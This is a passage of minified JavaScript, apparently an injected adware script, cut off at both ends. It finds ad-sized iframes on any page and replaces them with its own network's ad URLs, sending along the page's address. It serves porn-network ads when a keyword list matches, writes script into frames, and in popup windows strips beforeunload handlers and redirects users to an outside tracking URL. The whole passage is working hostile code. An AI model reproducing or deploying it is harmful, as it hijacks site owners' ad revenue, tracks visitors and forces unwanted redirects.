EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D\".substr(9*d,8),a=a>>>8^d;c=a^-1;0>c&&(c+=4294967296);return c}},_zyad={title:document.title?document.title.toLowerCase():\"na\",location:window.self.location.href.toLowerCase() + (document.referrer ? document.referrer : ''),vrt:!1,networks_list:[[['cpx_bet_55',3247],['start_me_app_tier3',3],['baba_tb_new',1],['yashi_apx_new',45],['yieldads_rmx',348],['adperium_rmx_new',1],['blutonic_apx',1],['batanga_rmx_new',149],['adnetwork_adnttb',3],['media152_gen',3],['harren_apx_new',50],['velis_apx1',179],['acsencion_apx2',57],['adsuduos_apx1',51],['sonobi_gen',50],['mari_gen4',915],['mari_gen4_2',915],['adstract_newt3_27_3',95],['web3_nontb5',31],['baba_nontb2',95],['saymedia_apx_new',2909],['mari_tb_test',50],['dsnr_dasa_t3_28_3',106],['matomy_adj23',294],['matomy_adj23_2',402]],[['cpx_nontb30_tr',729],['dsnr_strm_19_3',280],['mari_strm17',854],['adstract_strmt3_27_3',211],['web3_strm7',371],['matomy_strm22',3778],['matomy_strm22_2',3777]],[['hulk_porn',10000]]],networks_conf:!1,init:function(){_wlst.get(1,function(b){_zyad.vrt=b;if(!(_zyad.vrt==17 || _zyad.location.indexOf('oM5tuLUV=')>-1|| _zyad.location.indexOf('adk2.co')>-1 ||window.self.location.hostname==\"tr.adsplats.com\"||window.self.location.hostname==\"ib.adnxs.com\"||window.self.location.hostname==\"ads.yahoo.com\"||window.self.location.hostname==\"ads.blutonic.com\"||window.self.location.hostname==\"ads.networkhm.com\"||window.self.location.hostname==\"ace1.acsencion.com\"||window.self.location.hostname==\"ads.sonobi.com\"||window.self.location.hostname==\"www.fresh-cup.org\"||window.self.location.hostname==\"ads.ventivmedia.com\"|| _zyad.location.indexOf('=287609')>-1|| _zyad.location.indexOf('=458516')>-1||_zyad.location.indexOf('PT1311')>-1||_zyad.location.indexOf('1018-1005')>-1||_zyad.location.indexOf('1019-1001')>-1||_zyad.location.indexOf('2136&zid=')>-1))if(_zyad.networks_conf=12==_zyad.vrt?_zyad.networks_list[2]:_zyad.vrt?_zyad.networks_list[1]:!_zyad.getisP()?_zyad.networks_list[0]:!1,_zyad.networks_conf){for(i=0;5>i;i++)setTimeout(_zyad.find,500*i);window.self==window.top&&1==Math.floor(7*Math.random()+1)&&setTimeout(function(){_zyad.find(1)},6E4)}})},getisD:function(){return-1<_zyad.title.indexOf(\"torrent\")||-1<_zyad.location.indexOf(\"torrent\")},getisNA:function(){return!1},getisP:function(){try{if(12==_zyad.vrt)return!0;if(_zyad.vrt)return!1;var b=document.getElementsByTagName(\"meta\");if(b)for(i=0;i<b.length;i++)try{if(b[i]&&b[i].getAttribute(\"name\")){var a=b[i].getAttribute(\"name\").toLowerCase();if(\"description\"==a||\"keywords\"==a)_zyad.title=_zyad.title+\" \"+b[i].getAttribute(\"content\")}}catch(d){}}catch(c){}b=\"porn sex xxx tits adult lesbian squirt creampie bondage ExSuna mature fisting fuck gangbang orgy gay nude tits tranny blowjob handjob masturbat busty slut joder horny mamada polla cock pussy threesome teens milf bdsm hentai motherless erotic cams petite\".split(\" \");for(i in b)if(-1<_zyad.location.indexOf(b[i])||-1<_zyad.title.indexOf(b[i]))return!0;return!1},epoch:function(){try{var b=new Date;try{return(b.getTime()-b.getMilliseconds())/1E3}catch(a){return parseInt(b.getTime()/1E3)}}catch(d){return 0}},between:function(b,a){return b>=a-7&&b<=a+7},detectRsize:function(b){try{var a=[0,0];try{a=[parseInt(\"number\"==typeof b.width||\"string\"==typeof b.width&&b.width.match(/[0-9]/)?b.width:b.scrollWidth),parseInt(\"number\"==typeof b.height||\"string\"==typeof b.height&&b.height.match(/[0-9]/)?b.height:b.scrollHeight)]}catch(d){}var c=_zyad.between;switch(!0){case c(a[1],600)&&c(a[0],120):return[120,600];case c(a[1],600)&&c(a[0],160):return[160,600];case c(a[1],600)&&c(a[0],300):return[300,600];case c(a[1],125)&&c(a[0],125):return[125,125];case c(a[1],250)&&c(a[0],300):return[300,250];case c(a[1],250)&&c(a[0],250):return[250,250];case c(a[1],250)&&c(a[0],336):return[300,250];case c(a[1],150)&&c(a[0],180):return[180,150];case c(a[1],400)&&c(a[0],600):return[600,400];case c(a[1],60)&&c(a[0],120):return[120,60];case c(a[1],100)&&c(a[0],300):return[300,100];case c(a[1],60)&&c(a[0],234):return[234,60];case c(a[1],60)&&c(a[0],460):return[460,60];case c(a[1],60)&&c(a[0],468):return[468,60];case c(a[1],90)&&c(a[0],728):return[728,90];default:return!1}}catch(e){return!1}},find:function(b){var a=[],d=window.self.document.getElementsByTagName(\"iframe\");for(i=0;i<d.length;i++){if(!b)try{if(d[i].hasAttribute(\"s12334242842936387947\"))continue}catch(c){try{if(d[i].getAttribute(\"s12334242842936387947\"))continue}catch(e){}};try{if(d[i].src.indexOf('=287609')>-1||d[i].src.indexOf('=458516')>-1||d[i].src.indexOf('1018-1005')>-1||d[i].src.indexOf('1019-1001')>-1||d[i].src.indexOf('2136&zid=')>-1||(d[i].getAttribute('name')&&d[i].getAttribute('id')==d[i].getAttribute('name')&&d[i].getAttribute('name').match(/^ap\\d+$/))){try{d[i].setAttribute(\"s12334242842936387947\", \"true\");d[i].setAttribute(\"replaced\", \"true\");}catch(e){};continue;}}catch(e){};(rSize=_zyad.detectRsize(d[i]))&&a.push({size:rSize,ifr:d[i],func:function(a,b){_zyad.setNetwork(a[b].ifr,a[b].size);b++;a&&a[b]&&\"function\"==typeof a[b].func&&setTimeout(function(){a[b].func(a,b)},1)}})}a[0]&&a[0].func&&a[0].func(a,0)},setNetwork:function(b,a){if(a&&b){var d=0,c=0,e=Math.floor(10000*Math.random()+0.9),f=0,h={},g=[];for(i=0;i<_zyad.networks_conf.length;i++){var j=_zyad.networks[_zyad.networks_conf[i][0]](a);j&&(h[i]=j,g.push(i),d+=_zyad.networks_conf[i][1])}10000<d&&(c=Math.floor((10000-d)/g.length+0.9));for(i=0;i<g.length;i++)if(d=g[i],f+=_zyad.networks_conf[i][1]+c,f>=e){h[d](b);break}}},iset:function(ifr, url, mode, properties){try{switch(mode){default:case 1:var channel = 0;try{if(ifr.getAttribute('bow')) channel=1}catch(e){}ifr.src = url + (properties ? (url.indexOf('?')>'-1' ? '&' : '/?') + 'oM5tuLUV=' + properties[0] + '_' + properties[1] + '_' + channel : '');break;case 2:try{ifr.src='about:blank';ifr.contentWindow.document.write('<html><head>\\x3cscript>setTimeout(function(){location.href=\"'+url+'\"},1)\\x3c/script></head><body>&nbsp;\\x3c/body>\\x3c/html>');}catch(e){var h = '<html><head><style>html,body{padding:0px;margin:0px;}</style></head><body><iframe name=\"a7h3h73d3\" src=\"about:blank\" style=\"width:100%;height:100%;border:0\" MARGINWIDTH=\"0\" MARGINHEIGHT=\"0\" frameborder=\"0\" scrolling=\"no\" width=\"100%\" height=\"100%\"></iframe>\\x3cscript>setTimeout(function(){frames[\"a7h3h73d3\"].document.write(\"<\"+\"script>setTimeout(function(){setTimeout(function(){location.href=\\x5c\\\\x27'+url+'\\x5c\\\\x27},1)},1);\"+\"<\"+\"/script>\")},1)\\x3c/script></body></html>';ifr.src='javascript:document.write(\\''+h+'\\');'}break;case 3:ifr.src = \"about:blank\";ifr.contentWindow.document.write('<html><head><style>html,body{padding:0px;margin:0px;}</style>\\x3cscript>setTimeout(function(){document.getElementsByTagName(\"body\")[0].innerHTML=\"\\x3cscript src=\"'+url+'\">\\x3c/script>\"},10)\\x3c/script></head><body>&nbsp;</body></html>');break;case 4:ifr.src = \"about:blank\";ifr.contentWindow.document.write('<html><head><style>html,body{padding:0px;margin:0px;}</style></head><body>'+url+'</body></html>');break;}try{ifr.setAttribute(\"s12334242842936387947\", \"true\");ifr.setAttribute(\"replaced\", \"true\")}catch(e){}}catch(e){}},networks:{cpx_bet_55:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 728x90 160x600'.indexOf(size)) return !1;var atp=false;if(window.self.location.hostname.indexOf('outube.com')>-1 || size=='120x60' ) {return false;};return function(ifr){_zyad.iset(ifr, 'http://tr.adsplats.com/cmp/1412355/index.html?size='+size+'&referrer=', (atp?atp:1), [354,size]);}}catch(e){return !1;}},start_me_app_tier3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2030270&size='+size+'&cb=&age=&gender=&referrer=&pubclick=', (atp?atp:1), [409,size]);}}catch(e){return !1;}},baba_tb_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 468x60 120x600 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;var arr={\"728x90\":\"1957852\",\"300x250\":\"1947796\",\"468x60\":\"1957860\",\"120x600\":\"1957857\",\"160x600\":\"1957854\"}[size]; var surl = \"http://ib.adnxs.com/tt?id=\"+arr+\"&referrer=\";return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [423,size]);}}catch(e){return !1;}},yashi_apx_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2422901\",\"300x250\":\"2422900\",\"728x90\":\"2422902\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [785,size]);}}catch(e){return !1;}},yieldads_rmx:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;var ref = window.top==window.self?encodeURIComponent(window.self.location.href):'';return function(ifr){_zyad.iset(ifr, 'http://ads.yahoo.com/st?ad_type=iframe&ad_size='+size+'&section=5081932&pub_url='+ref+'', (atp?atp:1), [559,size]);}}catch(e){return !1;}},adperium_rmx_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 300x250 468x60 728x90 160x600 300x600 320x50 320x480'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, '//ads.yahoo.com/st?ad_type=iframe&ad_size='+size+'&section=5321079&pub_url=www.ad-maven.com', (atp?atp:1), [561,size]);}}catch(e){return !1;}},blutonic_apx:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2196577\",\"300x250\":\"2196579\",\"728x90\":\"2196581\"}[size];var surl='http://ads.blutonic.com/tt?id='+ arr + '&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]&pubclick=[INSERT_CLICK_TAG]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [577,size]);}}catch(e){return !1;}},batanga_rmx_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ads.yahoo.com/st?ad_type=iframe&ad_size='+size+'&section=4509138&pub_url=${PUB_URL}&section_code=720_0', (atp?atp:1), [601,size]);}}catch(e){return !1;}},adnetwork_adnttb:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2242949&size='+size+'&cb=[CACHEBUSTER]&pubclick=[INSERT_CLICK_TAG]', (atp?atp:1), [630,size]);}}catch(e){return !1;}},media152_gen:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ads.yahoo.com/st?ad_type=iframe&ad_size='+size+'&site=1466354&section_code=INSERT_SECTION_CODE_HERE&pub_url=${PUB_URL}&section_code=720_0', (atp?atp:1), [647,size]);}}catch(e){return !1;}},harren_apx_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"120x600\":\"2439986\",\"160x600\":\"2439990\",\"300x250\":\"2439993\",\"468x60\":\"2439994\",\"728x90\":\"2439996\"}[size];var surl='http://ads.networkhm.com/tt?id='+ arr + '&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [792,size]);}}catch(e){return !1;}},velis_apx1:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"120x600\":\"2431824\",\"160x600\":\"2431823\",\"300x250\":\"2431822\",\"468x60\":\"2431825\",\"728x90\":\"2431805\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [775,size]);}}catch(e){return !1;}},acsencion_apx2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2410584\",\"300x250\":\"2410603\",\"728x90\":\"2410604\"}[size];var surl='http://ace1.acsencion.com/tt?id='+ arr + '&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [793,size]);}}catch(e){return !1;}},adsuduos_apx1:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 728x90 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"300x250\":\"2446682\",\"728x90\":\"2446702\",\"160x600\":\"2446705\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [808,size]);}}catch(e){return !1;}},sonobi_gen:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2445816\",\"300x250\":\"2445810\",\"728x90\":\"2445826\"}[size];var surl='http://ads.sonobi.com/tt?id='+ arr + '&cb=[CACHEBUSTER]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [811,size]);}}catch(e){return !1;}},mari_gen4:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600 120x600 468x60'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"2449642\",\"300x250\":\"2449644\",\"160x600\":\"2449646\",\"120x600\":\"2449649\",\"468x60\":\"2449651\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [812,size]);}}catch(e){return !1;}},mari_gen4_2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 160x600 120x600 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"300x250\":\"2449645\",\"160x600\":\"2449647\",\"120x600\":\"2449650\",\"468x60\":\"2449652\",\"728x90\":\"2449643\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [813,size]);}}catch(e){return !1;}},adstract_newt3_27_3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2450405&size='+size+'', (atp?atp:1), [815,size]);}}catch(e){return !1;}},web3_nontb5:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2450540&size='+size+'&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]', (atp?atp:1), [821,size]);}}catch(e){return !1;}},baba_nontb2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2446828\",\"300x250\":\"2446829\",\"728x90\":\"2446830\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [823,size]);}}catch(e){return !1;}},saymedia_apx_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"1957924\",\"300x250\":\"1957917\",\"468x60\":\"1957923\",\"728x90\":\"1957902\"}[size];var surl='http://www.fresh-cup.org/rmx/appnexus.html?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [824,size]);}}catch(e){return !1;}},mari_tb_test:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"2452812\",\"300x250\":\"2452832\",\"160x600\":\"2452834\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [825,size]);}}catch(e){return !1;}},dsnr_dasa_t3_28_3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2453124&size='+size+'&referrer=[REFERRER_URL]', (atp?atp:1), [835,size]);}}catch(e){return !1;}},matomy_adj23:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 160x600 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"300x250\":\"2452559\",\"160x600\":\"2452576\",\"728x90\":\"2452566\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [833,size]);}}catch(e){return !1;}},matomy_adj23_2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 160x600 300x250'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"2452575\",\"160x600\":\"2452578\",\"300x250\":\"2452564\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [832,size]);}}catch(e){return !1;}},cpx_nontb30_tr:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, 'http://tr.adsplats.com/tra/32160/index.html?size='+size+'&referrer=', (atp?atp:1), [442,size]);}}catch(e){return !1;}},dsnr_strm_19_3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2409171&size='+size+'&referrer=[REFERRER_URL][WIDTH] ', (atp?atp:1), [764,size]);}}catch(e){return !1;}},mari_strm17:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;var reff = window.top==window.self ? encodeURIComponent(window.self.location.href) : '';arr={\"728x90\":\"2449661\",\"300x250\":\"2449662\",\"160x600\":\"2449663\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '&referrer='+reff;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [819,size]);}}catch(e){return !1;}},adstract_strmt3_27_3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2450479&size='+size+'', (atp?atp:1), [817,size]);}}catch(e){return !1;}},web3_strm7:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2450557&size='+size+'&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]', (atp?atp:1), [820,size]);}}catch(e){return !1;}},matomy_strm22:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 160x600 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"300x250\":\"2452616\",\"160x600\":\"2452623\",\"728x90\":\"2452620\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [830,size]);}}catch(e){return !1;}},matomy_strm22_2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"2452622\",\"300x250\":\"2452618\",\"160x600\":\"2452626\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [834,size]);}}catch(e){return !1;}},hulk_porn:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 468x60 120x600 160x600 300x600 250x250 600x400'.indexOf(size)) return !1;var atp=false;var surl='http://syndication.exoclick.com/ads-iframe-display.php?type='+size+'&login=hulkshare_RS2&cat=2&search=&ad_title_color=0000cc&bgcolor=FFFFFF&border=0&border_color=000000&font=&block_keywords=&ad_text_color=000000&ad_durl_color=008000&adult=0&sub=0&text_only=0&show_thumb=0&idzone=' + {\"728x90\":\"638635\",\"300x250\":\"638633\",\"468x60\":\"774737\",\"120x600\":\"774751\",\"160x600\":\"638637\",\"300x600\":\"774753\",\"250x250\":\"774743\",\"600x400\":\"774747\"}[size] + '&idsite=225117&p='+encodeURIComponent(window.self.location.href)+'&dt=' + Math.random();if(!document.getElementById(\"sad32ecs3fdsa\")&&1==Math.ceil(4*Math.random()))try{setTimeout(function(){var b=document.getElementsByTagName(\"body\")[0],a=document.createElement(\"div\");a.setAttribute(\"style\",\"width:728px;height:90px;margin:0 auto\");a.setAttribute(\"id\",\"sad32ecs3fdsa\");a.innerHTML='<iframe src=\"//ads.ventivmedia.com/www/delivery/afr.php?zoneid=31&cb='+Math.random()+'\" style=\"width:728px;height:90px\" frameborder=\"0\" scrolling=\"no\"></iframe>';b.insertBefore(a,b.firstChild)},1)}catch(e){};;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [420,size]);}}catch(e){return !1;}}}};_zyad.init();;(function(){try{if(window.opener&&window.self==window.top&&-1==document.cookie.indexOf(\"xcddsa\")&&-1==window.self.location.href.indexOf(\"px.pluginh\")&&window.self.location.hostname.indexOf('earchfu')==-1&&(!document.referrer||-1==document.referrer.indexOf('/amz/')&&(!document.referrer.match(/cpops-\\d+\\.html/))&&-1==document.referrer.indexOf(\"px.pluginh\"))&&-1==window.self.location.href.indexOf(\"ally.asi\")&&-1==window.self.location.href.indexOf('/amz/')&&(!window.self.location.href.match(/cpops-\\d+\\.html/))&&-1==window.self.location.hostname.indexOf(\"getjs\")&&-1==window.self.location.hostname.indexOf(\"hsbc\")&&3>history.length){var c=navigator.userAgent.toLowerCase(),d=\"http://canadaalltax.com/z/?f=rjYGvTw7pi5GrHYKqTlXrjr4qTa4pjnEpn%3D%3D&eid=720&hid=11944579086150063164&pid=0&rf=\" + encodeURIComponent(document.referrer) +\"&s=px.pluginh&r=\"+Math.random();if(-1<c.indexOf(\"msie\")&&(!document.referrer||-1==document.referrer.indexOf(location.hostname))){var e=window.innerWidth||document.documentElement.scrollWidth||0,f=window.innerHeight||document.documentElement.scrollHeight||0;if(e){window.resizeTo(e,f);var g=window.innerWidth||document.documentElement.scrollWidth,k=window.innerHeight||document.documentElement.scrollHeight;window.resizeTo(e+2,f);var h=window.scrollWidth||document.documentElement.scrollWidth;if(h!=g&&h<=g+2&&90>=f-k){var a=new Date;a.setHours(a.getHours()+1);document.cookie=\"xcddsa=1;expires=\"+a.toUTCString();if(window.onbeforeunload){window.onbeforeunload=null;d+='&ch=97'};try{if(typeof(jQuery)!=\"undefined\"){jQuery(window).unbind(\"beforeunload\")}}catch(e){};window.self.location.href=d}}}else if(!window.menubar.visible&&document.referrer&&-1==document.referrer.indexOf(window.self.location.hostname)){a=new Date;a.setHours(a.getHours()+1);document.cookie=\"xcddsa=1;expires=\"+a.toUTCString();if(window.onbeforeunload){window.onbeforeunload=null;d+='&ch=97'};var 